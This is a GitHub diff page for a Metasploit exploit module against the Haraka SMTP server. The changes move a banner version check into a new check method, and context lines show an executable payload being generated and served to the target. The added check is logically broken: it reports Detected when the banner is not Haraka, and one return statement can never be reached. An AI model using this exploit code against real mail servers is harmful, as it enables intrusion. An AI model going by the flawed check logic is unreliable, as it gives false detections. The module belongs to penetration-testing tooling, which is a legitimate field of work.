File tree Expand file tree Collapse file tree 1 file changed +10
-5
lines changed
modules/exploits/linux/smtp Expand file tree Collapse file tree 1 file changed +10
-5
lines changed Original file line number Diff line number Diff line change @@ -89,7 +89,16 @@ def on_request_uri(cli, request)
89
89
@elf_sent = true
90
90
send_response ( cli , @pl )
91
91
end
92
-
92
+
93
+ def check
94
+ if datastore [ 'SkipVersionCheck' ] and self . banner . to_s !~ /Haraka /
95
+ return Exploit ::CheckCode ::Detected
96
+ else
97
+ return Exploit ::CheckCode ::Unknown
98
+ end
99
+ Exploit ::CheckCode ::Safe
100
+ end
101
+
93
102
def exploit
94
103
@pl = generate_payload_exe
95
104
@elf_sent = false
@@ -137,10 +146,6 @@ def exploit
137
146
138
147
139
148
print_status ( "#{ rhost } :#{ rport } - Server: #{ self . banner . to_s . strip } " )
140
- if not datastore [ 'SkipVersionCheck' ] and self . banner . to_s !~ /Haraka /
141
- disconnect
142
- fail_with ( Failure ::NoTarget , "#{ rhost } :#{ rport } - The target server is not running Haraka!" )
143
- end
144
149
#
145
150
# Initiate the message
146
151
from = datastore [ 'MAILFROM' ]
You can’t perform that action at this time.
0 commit comments